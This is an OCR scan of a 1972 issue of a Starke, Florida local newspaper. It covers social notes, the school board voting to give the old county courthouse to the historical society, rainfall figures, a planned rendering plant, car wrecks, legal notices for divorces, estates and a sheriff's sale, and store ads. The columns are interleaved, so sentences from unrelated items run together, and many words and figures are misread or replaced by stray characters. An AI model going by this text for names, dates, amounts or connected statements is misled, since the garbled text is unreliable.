tion.Mr. DavisCandidate sumer education Income nutrition R. Wilson of Jacksonvilleat crisis. He frantically called a Sandy WHAT THECOLONEL'S and Mrs. Robert Fry of and social Involvement. a oyster roast at the San young acquaintance, a parent, Albany. Ca. spent the weekend For Rita Cheryl Crawford Miss McCain will work on thehousing Jose Country Club last Friday who solved the problem in this with her mother Mrs. Julia will wed Michael Wayne Lee :problem. night. man-to-man fashion. : Underbill. at 7:30: pjn. on Friday, March Home economics extension "First, place the diaper in OFFERINGFriday Valentine QueenSandra 10, at Hopeful Baptist Church gents from 55 counties will Mr. and Mra. C. L. Cooper position of a baseball diamond Mr. and Mrs. Gerry Gibson Lake City. participate In the workshop were In Auburn, Ala. Saturdayto with you at bat. Fold 2nd base of Merritt Island will spent (Mrs. Harold) Davis The bride-elect la the daugh- Featured speakers will be Dr. Monday visiting their son, over homeplate. Place baby on the weekend with his parents, Is Gamma Theta Chapter of ter of L, J. Crawford and the Andrew Hendrickson,professorof 2nd Lt. Robert L. Cooper, at pitcher's mound. Then pin 1st Mr. and Mrs. L, H. Gibson. Beta Sigma Phi Sorority's 1972, late Mrs. Crawford of Provi- adult education, Florida State Auburn University. and'3rd to homeplate." .T Saturday Mrs Emlle Generoux of selection for international val- dence.Mr. Lee is the son of Mr.and West Springfield Mass. Is entine Sandy queen.will representthechapter Mrs: James W. Lee of LawteyAll I \ c Sunday Green visiting for Mr.several and Mrs. Robert In the Beta Sigma Phi inter- friends and relatives are weeks. national competition. She Is the Invited to attend the ceremony. N Feb. 4, 5, end 6 Col. and Mrs. J. A. Griffin daughter Moore of of Mr.Starke.and Mrs. Aubrey Mac Baldwin- Mrs. W. B. Mundy, Mrs. Guy Sandy enjoys reading fishing Mrs.J. M. Vickers of Brunswick - Sale and Mrs. Lily Bridges attended cooking, sewing creative writIng Ca. was Sunday and Mon- SALE SPECIAL the Llberace show at and being a housewife and day guest of Mr. and Mrs. S. i the Civic Auditorium Tuesday, mother of the Davis' two children G, Denmark and Dr. and Mrs e. ONE THRIFT BOX 9 pieces 01 cMc&e.C night. : Tracy, 4 1/2 and Hal, H. H. Adams. TWO/i Pink, ay.r choke tl uJaJi l or talJ bees Mrs, R, O. Dansby was in 11/2. Mr. and Mrs. J. D. Mrs. Davis is In her second Yeager e ONE2S: ...ftp.- 6 Rolls Ozark, Ala. last Mrs.week Marvin visitingher Andrews year in Beta Sigma Phi. She returned last Thursday froma mother - is active on the Publicity Com- ten-day visit with friends who !in the hospital. was mittee. and relatives in Miami. Mr. ALL FOR ONLY $3.25 Yeager also attended a Masonic - Mr. and Mrs. William Which- meeting while In Miami. ello of Gulliver, Mich. were guests of Mr. and Mrs. B. E. Mr. and Mrs. Lee Ponten- Firth the ,first of the week. berg and children< of Tampa LTC and Mrs. V. J. Speng- })) were Monday overnight guestsof ler and daughter, Debbie and Mrs. Emma Badman visited Ke Ytwlea.rr Edward Burns. Mr. and Mrs. Herbert Thomas his aunt, Mrs. Mr. and Mrs. R, L. Spengler visited Mr. and Mrs.Joe and Mr. and Mrs. Joseph Betel Norfleet in Crescent City Sun- Dr. and Mrs. H. G. Bolllng- In St. Augustine Sunday. day. er visited their son-in-law and daughter Mr. and Mrs. Jan Mrs. J. W. Klncald and Mrs. Douglas In Tallahassee over 0). L. Beasley were Friday to the weekend. Tuesday guests of Mr.and Mrs. C. C. Hoppe In Tampa, and r Mrs. Mark Hamilton and children attended the Gasparllla festi Jy' of Tampa were weekend vities. guests of Mrs. John H. Andrews - NOT while Mr. Hamilton and Mr. and Mrs. Forrest Ag- Mr. Andrews were on National new of Jacksonville were Saturday Guard duty.; visitors of Mr. and Mrs. C.G. Hill. \Baldwin ChevroletrOlds\\ ONEVALENTINE Mr. and Mrs. Edward Schwabof Merritt Island, and son. Eddie Mrs. T. T. Long has returned - of Gainesville, were week- home after being In / end guests of Mrs. Myrtle An- Orlando for two months. [ derson. Visiting Mrs.Andersonthis week Is her sister Mrs.Olive Local admittances to Bradford Now Offers'YEARS .. Gregory of Gainesville. County Hospital this week Include: Herman Geiger Mrs. David McRae of FSU Brant Lily Walker. Jessie J. McCoyLynn Turner of Valdosta State Col- Luther, Mrs. Ollle Tyson - lege and Ginger Baldwin of Cleveland Drlggers, an 4 When you feel blue, take out the University; of South Florida Tonya K. Halsten, all of Starke; 5 OILso,000 home for the week- were your savings account book and end. Susan Baker, Neal McVeigh, thumb thru the pages of regular Mrs. Jacob Pipping and Mrs. n deposits. A sizeable Alice Meriweather, Keystone Leif balance with all that It means Among those attending the Heights; and Mrs. Peculla Norman - In security future trips, and Llberace show at the Civic Bradford County.; MILL0WARRANTY enjoyment, will raise your spirits Auditorium Monday night were: again. If you haven't a sav- Mrs. R. P. McLendon, Mrs.A. Mrs. A. S. Harrison and ings account, open one now at G. Loudon Mrs. Warney Mrs. Mack Williams were In Adkinson, Mrs. Grady Over- Waycross Ga. Wednesday of Our Hourtt street Mr. and Mrs. Curtis last week visiting Mrs Har Man thru Thu,,. 9 .m. to 3 9.m' Marlowe Mr. and Mrs. George rison's mother Mrs. R. T. Friday 9 a.m. re J:30: p.m. Huggins Mr. and Mrs. Guy Hipps, on her 80th birthday. Cl.i.d Saturday Andrews, Mrs. Drew Reddish Mrs. John A. Reddish, Mrs. FIRST FEDERAL Carl Hurst, Mrs. Don Harden THE BRADFORD Mrs. Harry Hatcher and Mrs. COUNTY: TELEGRAPHPublished Savings and Loan Association of Starke"Thf Frank Mitchell. Thurnlayat al..,. Pbne. every Mrs. Marlon Johnson of Nor- 138 W. Call Street And Trucks TELEPHONE 964-5000 visitorof Starke Florida 32091 Sunday i/sue Of Sarings 395 W. MADISON ST. folk Va. was a Mr. and Mrs. A. S. Harrison - and Mrs. Maude Bailey Second class postage paidat SUrke, Florida And All Oldsmobile Models - ... . . . In Subscription bade area: Bates 5.M per: yew; 2.7S six month Engine, Transmission, Front End, Outside trade area: SJ.50 Rear End, And Oilier Parts Not Even per year 93.00 six months Covered By The Old Factory WarrantyAre Now Covered By Baldwin SAT FEB. 12 L Z.l "For Complete Details On The" 8 Tiadk Tapes A BALIWINWARRANTY arhiJa DIRECT OFF OF TRUCK : Come Out To The DealershipAnd 1 "Theft About of Tils money QoealiMs.and We Will Fill You In. securities: by trusted employees IN FRONT OF STORE safe burglary or robbery of property within - 98DAHMER The premises or froma messenger loss from 4 forgeries and counterfeit money are all such lessee $6.93Tapes covered by ComprehensiveCrime Coverage In the / . new Multi-Peril package insurance available to> most commercial and financial | J.5. 301 North Phone 9 4-7500 firms?" Charier E. STARKE FLORIDA"Sooner H 'S DISCOUNT HOUSE' JOHNS AGENCY or Later Your Favorite Dealer"GRn 131 8s. Walrat. 84. . ......,. . . . . . in io7A -> TCec'r'naore: n..ro e t l -- --- -- --- --- --- --- -- -- -- -------- ---- "' ,, , ..,..,' '. ",. ,-p w--. ,,,,, .. ," ..-..." ,.., .! "1'" '" ....". .. -,' ,"' -,''''' . Society To Get Old Courthouse Rainfall Heavy Since Jan. 1st ; Bradford County; has had a River 6.9 Inches; Highland total of 10.08 Inches of rain 8.6 Inches; Santa Fe, 5.8 Inches - In a surprise move Tuesday voteh, the past served. in the old building".Matthewstold vacant since Supt. Tom Casey bout a swap of the old CH since Jan 1 1. according to records For the first eight daysin the Bradford School Board Goal of the Historical Society "I agree it would be a the School Board in makIng moved his Immediate administrative for the old Armory building of the three fire tow- February the total weret unanimously to deed the old ; and the United Daughters! crime to tear that thing down." his presentation., He distributed staff to remodeled adjacent to the USO. But that New River 3.40;Highland 3:30; county courthouse at Call SCand of the Confederacy, according Sawyer said "To me, one that copies of a news story offices in the USO building deal was never aired in a pub- ers.Totals for January weret New Santa Fe, <:1.80.: Temple Ave. in Starke to to Matthews James BlootUwortn most distinguishes a community on the old CH which appeared several months ago. It had been lic meeting. the local: Historical Society.; and Mrs. 'Jewell Robert Is preservation of Its past. in the Chicago Tribune deeded to t the school board by One legal ana remains before Is to turn the old building Our community; is not now behind several years ago. A recent the county; commission In lieu st..a1r mss. -- -- -- -- ss - the building can be Into a museum to bowie a project which could feature story in the Tampa of the commission's giving the turned over to th e society; Brariflnrd artifacts and his: unite It. W. need one. I'd Ilk* Tribune was headed, he said, school people space In the f T1I however. Governmental bodies tory. to give it to the Historical "A Vacant Courthouse Awaits new courthouse.Agreement was , under state law may exchange Main problem. a. School Society.; Its Future." that if school board sold the old property but may not Board Attorney Gene Shaw "It seem like people' are building the county; would get give it to a private organization. pointed out, will be raising. now more Interested In buIld-. "Mainly we're Interestediaipreserving anything over $45,600 the a- t t money to maintain and Improve ing something new than Inlast "the building for mount It was estimated It would don't know how I ever got along!! public use, Mrs. Roberts of But . the old building. the cost for a new school administrative - To comply! with the law. Historical Matthews pointed) out that a old 1I gottheree ." the HOC told the school board. eats.Nothing t without Account:' Society Member E. L. public group the Crosby Lake She said the UDC whlch-llke a a Checking f Matthews said the society; will Association raised Sawyer also suggested the old room in the building for a will be realized from , ask the County; Commission to $12,000 donations for per- courthouse might house the museum. that agreement apparentlysince create a historical commission petual care of the cemetery. county; library. Sawyer was asked to with- the school board Is don- t t Such an agency connected with "It sure did," said Matthews draw Ms motion until after a ating the building to the Hlstorlcaj - a governmental body, he said, School Board Member when asked It Sawyer's motionto Historical Commission has Society.; II can legally accept ownershipof Charles Sawyer pushed for the donate the building to the actually been formed by the the old building dating backto move after listening to Bloods- Historical SoelebIf. \ county commission but he refused There were also rumors of t Ii t 1919 and Bradford County's; worth and Matthews state why prised him to do so. talk between City of Starke f long remaining monument to the building should be pre- "'There Is amazing Interest The old courthouse has been and School Board official al - _.............""", .,..-x..''-""> ........ t r tr eUliirr v Irr t ,., ..... .. ' : Go All The Way.; To Airtempt t rI rr rI t Heating TOTAL And COMFORT Cooling 7 ;; l; I t 4A I't ,;;,; : r Y 4 "' l i.>'....,. ,.' t t '., 'i. y. .. '''''III''' 4" i: ".. ....;"' \0. : ",,,\fI t\, t t ' : .. I '!' t {t1L 91 ;;; t si sssa; :( t t .. ,,. ..-,.... "... \ , Nr-wW w w An OJJimoblle lies smaihed in a ditch after being struck by two vehicle in Sat t run' I urday night's three car pit.-up. People who have a Checking Account say: "Now I don't have to around paying bills every month" "I feel so much safer carrying , For Free Estimate I Call Today I checks." "It makes budgeting so much easier," Open your Check , Bike Rider Injured. Brooker ing,Account with us and you'll know just what they mean. ---Cmm\e I (Prom Pag* 1)) Cleans S"S t On long trips or short,carry the safe money. \ Harris charged with fail An occupant In Potter's car (From AmericanExpress ', ...i.:1........ was Page 1)) Star he Appliance ServicePhone I ure to yield right of way and' Virgil Hughes of Jenklnn, Ky. t Travelers Cheques ::1:+; -""..., !P-.(....... ,.. :. t entering throuczh a highway. was slightly Injured In the it," was the way another resident 1 I, ':II"" ...... Following die accident another wreck. Hughes'was taken to the summed up the vote.A -= " 964.8363.325 W. Brownlee St. wreck occurred as Joe hospital but refused treatmentand t t ',..>>:, .ws SSSSSfSRM Marklee Alvarez of Lake was taken to the Bradford hearing on Carroll's petition If lost or stolen, you can get them promptly; :; ;replaced: Butler was struck in the rear County Jail and booked on a to serve beer In the old .. : bv another vehicle while slow- charge of drunkenesa. Hayes Store was held on Jan- Spendable everywhere Cost-only 1 10 per dollar, :;:::;:;:::; :: ::-:::::: .8":8i": t Ing in compliance with a police Porter was charged with uary 14 before Circuit Judge t PACKAGEDROOT officer working the traffic around careless driving. George L. Patton but a ruling the preceding accident. has not been announced. FRUIT NUT According to Sgt. W; II. Bar- I tFLORIDA t ber of the S.P.D., Alvarez's provide equipment for the plant A city ordinance prohibits the AND SHADE, TREES, pick-up was struck in the rear here. He met aoout a ;year ago sale of any alcoholic beverage with of the Bradford within 2,000 feet of a school, ' by another pick-up driven by members ' ' SHRUBS BERRIES E. B. Potter of Macon Ga. County asked; Development if there Authorityand would be roll church Is seeking or playground approval to Car-sell t Iii: !B"'AK": :}(, : .iA'\t'\ s)r"t.R':, ''lfS ;1,1't/ t GRAPES any objections if he sought a, beer for ofrpremllesconlump... .. -;. , site locally for, such a plant. tion. t rr ; Member Federal Deposit I : I 1/2/ PRiCESALE. : Rendering lie was told that the DA would { nsuraiieP! Coljt.; f t have no objection if the necessary In the event Judge Patten rules Of Florida National Plant. .' approval and permits were the ordinance invalid the new Subsidiary Banks Of Florida, Inc. obtained from the health officials city government could adopta L Jt 1st SAFEr (From Page 1)1, trol Board.and the Pollution Con- new law. --- ... blended with other materials Jones said there Is plenty Reg Price to make poultry and livestock of room for expansion on the Flu. Peat feed. After it is In full oper- 80-tract and that he has already - :j 2nd 1/2/ Price out ation a car the a owners day 000,000 hope pounds.to ship; Interested had inquiries in constructing from persons Central Heating And Air ConditioningCompletely B u..77 It will have a capacity; to pro a beef slaughtering plantin Grofon duce three or four times that that location. Such a plant I: 5 Bu. 347St much, depending on the demand. would be subject to the same it was said. Bed Mix 1 pollution control regulations as Two steel buildings' will be the rendering plant, he said. Installed! constructed on the site-- one . RMS MO I To Enrich for the processing plant, about I c: The Soil & > 8x 180 feet, and another 50 Food Stamp , x 100-fcotbuilding for the blend- L.u ,, I ' iI. I For The ,." JI Ing plant Details. ; J1'" ; ' The for constructionof _I \ <! I HealthiestTrees 8edmJ., .': the pollution permit control devices (From Page 1)) ( q .I', ,, I, -.J and . will not actually become effective , "" until the company executes persons waste money and have II ,;','d, .' j D-Con Shrubs the $50,000 bond. Thisis nothing left to buy groceries.In . Grown expected to be completed contrast they say commodities ,.1 i The Rat Kilterlib.Meal within a few days Saulter said. placed In their hands it. .89 In the meantime the are used when they get hun- . '5 U,. -- companycan .. Ill. , ahead with certain slte- . I47 io lb. --- 1A9 oreparation go work, such as gry.But the commission pledged its full assistance to Mrs.Brown . clearing, staking out the buildings 1 lb. Pellets 1"COW 25 lb. --- 2.39 and grading he said. In any way it can help, noting however the local: board FREE ESTIMATES The plant will be the first has nothing to do with the pro- Here Is What You Get of its kind In Florida and It gram. Nee 15-441 1, was stated by officials thatIt 80,000 BTU Carrier Furnace ROUND will have none of the undesirable Food stamps have been used features of the older in Alachua County for nearlytwo Thermostat Controls MANURE POINT at Doctor's Inlet years Mrs. Brown said. rendering plant - Seven Air Supply Ducts SHOVEL which was recently closedby 9385 40 lb. Bag Reg. 2.29 the Air t Water Pollution One Return Air I Duct) Control Board because It did CORRECTIONIn 237 not comply with state regulations. All Labor And Materials NOW $1.77 last week's Issue of The Royal Jones of Keystone Telegraph, Kentucky Fried, O 2 Tons(24COO( BTU) Air Conditioner Heights who will manage the Chicken's special for Friday Bradford County plant, said the Saturday and Sunday read: One Completely Installed cooking process would be completely thrift box-- 9 pieces of chicken contained inside the 2.1/2 pints of your choice of Furnance building and that unloading operations salads or baked beans one 28- Electric will also be Inside. oz, Pepsi all for only $3.25. Centrally Gas, Oil Or : Trucks hauling the animal Six rolls should have been Included Available wastes to the plant are also in the special Located tIv Furnances enclosed, he said. The Telegraph regrets this No. 15-72 Jones said the company had error. However Kentucky been besieged with Inquiries Fried Chicken is running the , 1 No. 19.875 from chicken processors In the special again this weekend the 19.876 SQUAREPOINT North Florida area since the rolls have been added. 19.877 HAND 3.47 closing of the Doctor's' Inlet 19.879 plant, wanting to know when LAWTEY COUNCILMEETifG : TOOlS No. 1 19.178 the"They plant:are here facing would be a ready real POSTPONED Central Heating Only A s Listed Above $795.00VVe emergency and some of them The Lawtey City; Council YOUR CHOICE Leaf Rake are having to haul their wasteto did not hold Its regular meetIng - plants outside the state," Monday night due to t the Only .33* Now.97 he Jones said is a former representative dish.Illness The of City meeting ClerkEtJiel was postponed Red VVe Service All Mgfrei of Boss Equipment Co. until 7:30 p.m. Monday, 'of Trussvllle, Ala., which will Feb. 14. AIR CONDITIONING t EQUIPMENT. .I Complete Pest Control Service COMMERCIAL. .RESIDENTIAL, 964-7701 Free Estimates ,DeWitt C. Jones Funeral Home GIVE US A CALL CONVENIENT BANK FINANCING STARKE FLORIDA PEST CONTROL'S GARDEN"" CENTER PHONE-964.6200KEYSTONE HEIGHTS SLADE GAS AND APPLIANCES 539 E. CALL PHONE, 964.5745'T PHONE 47.1-7176 332 W. Madi. n St. Phone 9647701IIisIoricd r-O: < ....,. f.n.: ....... ." 1MV1 ,. if * " 1 I .. K ,'M . m____________________ _____________ _______________.________ n____ _________ _______________n__ nn______________ ___________n -----.--.-------- __ ______ n_'_ ____,,__ __ ___._._. _u______ ___________ ____- --- ------ ---_._---_._--- ---- -- - --- -- .... .,... ....,.,""' .. '''c.......H._'_ '," ', "",..... .. ......,-'..,......f;t,.".....",,, ".'.'''.,'''''' .w..... "". ... .", __,.,,,,. ., _'_ ..., -" 'H.." NOTICEI -- t-- ------ --- will not be responsible tor any debts made by anyone other .i, Gainesville, Florida 32601 than myself. Ellcano Reeves. t la The Judicial of Florida In The Circuit Court of The In The Court of the County filed shall be void. claimant and must be swornto cult Court of Florida, Eighth 2(10It 3/2 2/10 2tp 2/17 ri 1 ] Eighth Circuit; Eighth Judicial Circuit of Florida Bradford Florida Michael C. Bergen by the claimant, his agent, Judicial Circuit, In and for , Judge County, ... _.___ __ .__ _.__ __ __ ___ _ In and For Bradford County In and For Bradford County As executor: of the Last or his attorney or It will be- Bradford County the suit being u.u Florida. ,Case No. Case# 1260 IN PROBATEIn Will and Testament of come void according to law. entitled The Marriage of Jones - IN REi The Marriage of In Re: The Marriage of Ray- re: Estate of Furmon Wilson Furmon Wilson, deceased February I, 1972. Love Campbell wife, and : Marvin Ray Tool, Husband, and mond C. Evans Jr., Husband Deceased. First publication February 10, /Edward G. Saxon Barry Blair Campbell Hus- New Adult OfferingTWO Cathy Lynn Teal Wife. and Wife To All Creditors and Persona 1972 Administrator of the Es- band. The nature of this suit NOTICE OF ACTION FOR NOTICE OF! SUIT having Claims or De- '/0 4t 3/2 tate of Ralph Pearsall,de Is for dissolution of marriage.You . DISSOLUTION OF MARRIAGE TO: Judy L. Evans, Route 1, mands Against Said Estate: ceased. are required to file your NEW COURSES TO ADD TO THE Florida name of the State of Buffalo South Carolina 29321. You and each of you are In County Judge's Court, In First publication February 10, answer or other pleadings to You Are. Hereby Notified that hereby notified and requiredto and For 1972. the Petition with the Clerk of CURRICULUM OF TOt The Respondent In the an action for divorce has been present any claims or demands Bradford County, Florida. 2/10 4t 3/2 said Court and to serve a copy above-named cause Cathy Lynr filed against you and you are which you, or either In ret Estate of'Ralph! Pear- thereof upon Petitioner of Pe.titioner's Bradfard-Union Area Teel whose residence Is 61': required to serve a copy of of you, may have against the Mil deceased. attorneys whose Spring Street,, Apartment # written If In The Circuit Court of Florida names and address appear below - 4. your defenses any estate of Furmon Wilson, deceased NOTICE TO CREDITORS Del Rio. Texas 78840 to It on SAW AND KOPELOU-:; late of said County, All Eighth Judicial Circuit, not later than March 7, Vocational Technical Center creditor of the estateof In and For Bradford County 1972. Herein, fall not, or a You are hereby notified that SOS, Attorneys for Plaintiff to the County Judge of Brad- an action for Dissolution of the whose address Is 142 West Call ford County, Florida at .his are Ralph hereby Fearsall notified and deceased' Civil Action Case No. default will be entered againstyou Course In Business MoeMn- ln Jan. 11, 1972- required Bonds of Marriage between the Street, P. O. Box 1086 Starke office In the court house of to file any claims or demands Dlvlslo.-. for your failure to ans- Clots Will Mt From 7:00 p.m. Until 10:00 p.m. On Petitioner or Husband. Marvin Florida 32091 and file the original said County; at Starke Florida, which they have In Re: The Marriage of Jo- wer or plead. Tuesday and Thursday. may against nez Love Campbell and Dated this 28th day of Jan- Ray Teel. and the Respondentor with the Clerk of the Wife within six calendar months from Bunka said estate In the office of the Japan! Embrodery To Begin Jan. 12 1972. Barry Blair Campbell Hus A. D. 1972. , Cathy , Wife,, Lynn Teel baa.}.. above-styled Court on or before the time of the first publication county Judge of Bradford County uary Clots Will Mt From 7:00 Until 10:00 ' Gilbert S. Brown On p.m. : been filed against Respondent March 6. 1972 otherwise a of this notice. Each claimor band.NOTICE p.m. you as Florida In the courthouseat and OF SUIT Clerk of the above entitled Monday Wodnotday. by Marvin Judgment may be entered a- demand shall be In writing Ray TeeL Starke, Florida, within six To: Barry B. Campbell M.D.C. Court as Petitioner In the above- galnst you for the relief demanded and shall state the place of calendar months from the date i O. Mall Room Box *90. By: Boulah M. Moody styled Court and cause and ;you In the Complaint. residence and post office address of the first publication of this U. S. Naval Hospital. San Diego Deputy Clerk For Further Information' are required to file your de- WITNESS my hand and the of the claimant, and shall notice. Each claim or demand California 92134 Anderson & fense or answer to the Petition seal of said Court on the 4 be sworn to by the claimant, must bo In writing and must You are hereby notified that Folds Fagan, Crouch PLEASE CALL 964-6150 as filed therein with the day of his agent or attorney and anysuch S.Blown state the place of residenceand Jonez Love Campbell has filed Attorneys for Petitioner . Clerk of the Circuit Court >nand Gilbert claim or demand not so post office address of the , . for Bradford County, As Clerk of Said Court ,va suit against you In the Cir 212 S. E. First Street ,, Courthouse Starke Florida By Virginia F. Darby 32091 and serve a cop /,,.poi Deputy Clerk II!! . the Petitioner's' attorney. Bar ..... '\ Epoll ton T. Doug tea. 103 North Main First publication: February 10. ,. .. '" 0ib1. to 1972. T. Street, P. 0. Drawer 1228, .. .. ......... L. I . Gainesville, Florida 32801, on 2/10 4t 3/2 ... or before the 21st day of February : 1972; and, If you fall 'V\ to do so a Default will be In The Circuit Court of The I' . taken against ;you for the relief Eighth Judicial Circuit of Florida I ' demanded In the Petition, In and For Bradford County. 'i'lllb..r;; .- and thereafter said cause shall Case #1261 . proceed ex parte. In Re:The Marriage of Georgo ",...,..-,,- '- j, . WITNESS my hand and seal B. Hunnicutt, Husband and Nell 1" of said Court this 13th day of A. Hunnlcutt, WifeNOTICE 1cSU4EP: I. s. : January ,A. D. 1972 at Starke OF SUIT : .:' "," : '' . : ; Florida. To: Nell A. Hunnicutt, 1505 ; .: ;;. ,;'..'. . GIlbert S. Brown Brunner Street, Cullman, Ala- I ,' / f'/J./.A I IIII I .::...'... ''I.rry'AI .... ;.: As Clerk of Said Court bama. ::: .0. : .. Bvi Beulah M. Moody You Are Hereby Notified that ///I'i.-j .: .. As Deputy Clerk an action for divorce has been 1/20 4t 2/10 filed against you and you are ' required to serve a copy of .. . In The Circuit Court Eighth you written defenses if any ''rj" i..' Judicial Circuit of FloridaIn to It on SHAW AND KOPELOU- and CIVIL For Bradford ACTION County .whose SOS Attorneys address la 142 for West PlaIntiff.Call \., ..." ....' V" r ,,' Street, P. O. Box 1086. Starke IV \\1[\ e I .. ' - Case No. 1253 '" >" { l' A ... .tJWUJ " Joseph Edward Wilson. Plaintiff Florida 32091 and file the original 't il !d (; fff; I & ".:'1fV yy '" .' I \t.U: l pso .1' with the Clerk -vs- Alice Faye Wilson, of the fi! ,. (;;//1P. .r.d".Jrr>\i'f I" l? 0 ..-.-.-' ( .- .. . ii. ; , above-styled Court on or before ; :i' - Defendant. ')c.t ol, ... ", :.A" '''' JI ;._ -- --= I 5"l't ?; March 6. 1972 otherwisea t .. ;:;: . NOTICE OF SUIT- J: it -": V.VV'. : t'Y' - / lJ" : <.: . / &VAAA be , NO PROPERTYTo Judgment may entered against .981' I .'" .. "VJ : Alice Faye Wilson you for the relief demanded :J1 A AM.A IN' "11... X k) ' w-H' In the Complaint. '<: _- 'A You are hereby notified that rv nv ' for DIVORCE has been WITNESS my hand and the a..iejsz! F" \ 'e 10.1 4 '. an action \ : 1 ii seal of said Court filed against you Alice Faye of on the 3 day l4 :- Wilson and you are required to February, 1972. . serve a copy of your written Gilbert; Brown, '; ;; :(, o . As Clerk of Said Court 'r / .. " to It tI18plaintiff'S .1 '' .. defenses. If any on &. y ;< ; to ' r- By Betty Edwards .1 . : ; : : , attorney whose name 'j I. .kl.o.tie f' 1 $ ' and address Is George H. First Deputy Publication Clerk: February 10, .: S ;2-Pf' ;#(? '-/ J j. Men'si' if; S-\JZ7 : f; Nj Iy d'.10' ;_ ,. P. O. Drawer 1030 .. -'", . Pierce .... 1972 ( ,' 1,' DressUleans p 't:? J},; IAAAA.A. IffJ, : file the Starke. Florida with the and clerk of the 2/10 4t 3/2 Oddlid !Suiti!t; 'J.tA xEtieepd.3pnNIC.I. U\ .3i "V' V" '. '' '';,; rv V'4V' ,;f )I'( ( , original ' . ;; \ . SEAL 1 <' "" t"! .... ,. ..... Jt..lt ','I"i I. '. before .. " court or ' on . above styled trl ,.I./Ofhl/ 21st day of February,1972, '" A /font attic, purchase from ..i'f .:, Lox Soap ; G.E. Steam ,, ..". Firesidef( : ".'( " otherwise a Judgement may be NOTICE OF SHERIFF'S SALE '... hlt'-Y'Sk./ctmd ,' a Famous Mat| .rnCiootregular | ,;i ", .. .- & Dry Irons. ...'s .mt.: : : . entered against you for the relief 'Notice Is hereby given that ';tt/r I+ "Iwrot any beer It I or /flar. 10 styling tfRtCU Size BARS IN; *i,,.>> : < Snick. PartfCrackers] demanded In the complaintor pw "I ", f.f. In popular Looped waist.s .:i't}:EITHER!/ WHITE,OK PINK. Conrowrad block handl.) for. \ . Sheriffof peslPMdach . :1 P. D. Reddish as . L ... 't 74H1 and . . rdrg, .inn o .. ... Plaid. ,. *'lnol' pack for( petition. hand and the seal Bradford County Florida, { "r\\' cot' +....lfll......' 4 pock.... 51... 28 to 34. '" ,. < h 5 :'. >r' Witness my p <" Hand'abic' dial, far all .. ] under and by virtue of Writof ;(: ry qltw1'nl'' nib Wt.3J! Os tap and dollclavl.NHT ' 20 :Jo:" , Court January 1Jt. dlicat "WashA of said on fabrics.r.n ' ' , Execution, to-wlt <, .. t.a ktflWl "Q.., ,1& 1 ... War". 1972 1' \ :s.- .r; WT. Small Execution Issued out of \ < am. Gilbert S. BrownAs TJ., .ff. \. I fo 11 02. CourtofBradfordCoun- \ LIMIT' el i . Clerk of Said Court Claims Final ; 1,'>1 1'r Y.oI. :_r MODEL :: a Florida pursuant to a .. ty, DI. . r' . By: Beulah M. MoodyAs ;< 0' I F62 I ;!(' Deputy Clerk Judgement for Ernest W. Allen (, .96)I I 'I . (Court Sean dbaCity Fish & Meat .,. ... .w .' <' '11",1 ___ \1'''' 1/27 4t 2/tf Mkt. of Starke Florida and jj"\ e.p. ...:, ..;.. . against Austin Smith & Betty; .'i&L ., Smith defendants. In the amount '- ptJ ' W e.. -- NOTICE OF INTENTION TO of $363.31 together with vJ \, I \ p.\05 NAME costs of collection ( !; 1 T't1 ] Gal. Eagle REGISTER FICTITIOUS , Notice Is hereby given that Have seized and have In my Cv t ,\ Men's WhiteDress .ous. + )-' ) -," J Route 66 r- ... Make UpMirrors , possession the following described c' ;, Wash ) UI' ! the undersigned under the pro- Shirts M<\. :, Mouth .. II vision of 20.953 Laws of Flo- personal. property town '!i : i --I Anti- FreezeMicnn . rida Acts of will regis- : {:); I I b Ouri<. . 1941 l I Complot. with , Rust and carrying . ter with the Clerk of the Circuit 1971 Tax Book: Austin Smith \ Short dew. Lustrouswhite ,-- ,a'.- inhibitors corrosion tea, magnifying, and Court In and for Bradford Page 59Parcel ....... "New Iron" MICRIN /flat , Ii dacranandco'lon.l.ono Men's e & 'ui ..... eNr., oddod. mirror Florida proof of #0806-00100 Sec. 27- 1 GALLON County upon collar. 14 to 17. ruv "TI-FREf point publication of this notice the 6-21. 20 acres. Com at S.W. V y .--0.: ... D Dress Shoes ....,...,........' U.L. 5 ave 2.00 .. . . ..... - fictitious name of Dave Paulk Corner of S.E. 1/4 of N.E.: Save 15" J' ". .. Approved , Wid..lecuonof ED Cord a.tyls . under which I 1/4 south 889.7 for P.O.B. 1\, ,yvtu.nmwrr, .u to-'Qi' Land Clearing run In block & VALUES'I I """'-- <,"'. .. at Crosby South 69' East 1056" South to I' . am engaged business .. .: brown.A/fabulous TO : -- Lake P. O. Box 1210 Starke waters edge of Sampson Lake. I-: 6 '11I voluo. 7 to 12. 514.95 t ? . r 1'- ... 1050' ) i I M rl. .rr .... Florida. Westerly on waters edge ) ltleV --_ (;. ;1. ."_. rc--:; - Hazel U. Paulk (sole owner MLto West Line of East -'" rj' If. F $] G m Proctor Ellen & operator) Crosby Lake P.O. 1/2 of Southeast V4 North 660' ... -=- "" .., 2SliceToasters Box 1210 Starke Bradford to P.O.B. approximately 1050' '\ 11 County, Florida. on Lake. Schick Super Chromium ' -w.: . Dated this 1st day of January .... I I' (I-L A. D. 1972 at Starke Bradford Special Warranty Deed O.R. : Double Edge Blades G., p.rf.c'/ Book 47 Page 123 toast from County, Florida. WastcloHmovmnt. any -- 10" Precision ml Men's 'Q ;7: hind of breed H. Smith Eollne W. 1/27 4t 2/17 W. Ivorycabin 1"1"11" ,' S.leer Smith) to Austin Smith for and Deck SneakersLadies' ,,(' '6 *!. '- I .'ffl..y color :ron n I I.cChalco during his natural life with Canvas Sneakers Sdve 34 7 Save 217 'UI'Eagle ' NOTICEMr. remainder over to Mildred Sturdy whit duck . Ralph Bryan Et Al has Smith the wife of the said Austin black. of Th.whit total or .d;SI;;' .),I tmI upper.f n.n."ol.Cushionedf ,Sur e, .: ll i-- i Mod.1 .:,:n.2'. Faave.p NAT'LLY..ADV. Flif comiar. l the Brad- Austin Smith Jr. snokr. I made Application to Smith and C. grip sons. 6 to 12. 1-' Edge CR.801 ;J1CV7 A. $9.96A.J ford County Zoning Board for Linda Kay Smith, and Ralph 51.. 5 to 10. 0 . reclasslfication of the property Thomas Smith as tenants in :/ ... ."- -' Protective described below from EA Common of Bradford County, 1 Gal. (Exclusive Ag) to RI-A (Residential Florida. Grantees Sp. War- /;; ::,?.I : __ -e Boys gML1' Shave Cream v.T I ,d) Rival 0 Hand EagleChinch ). Deed R 47-129 ranty < 'r0' Flare [, usa_... - ; Com on W Line of Sec. 24. ij '...... ( I above " As the property; of the : >4,' : .. Mixers 6S, 22E at Point 545.4'from Nly and on C"X:/ Striped leans.Men's A:: ' SW Cor N 83 degreesWOO" named defendant that .: ; Em lctric Lawn Spray E 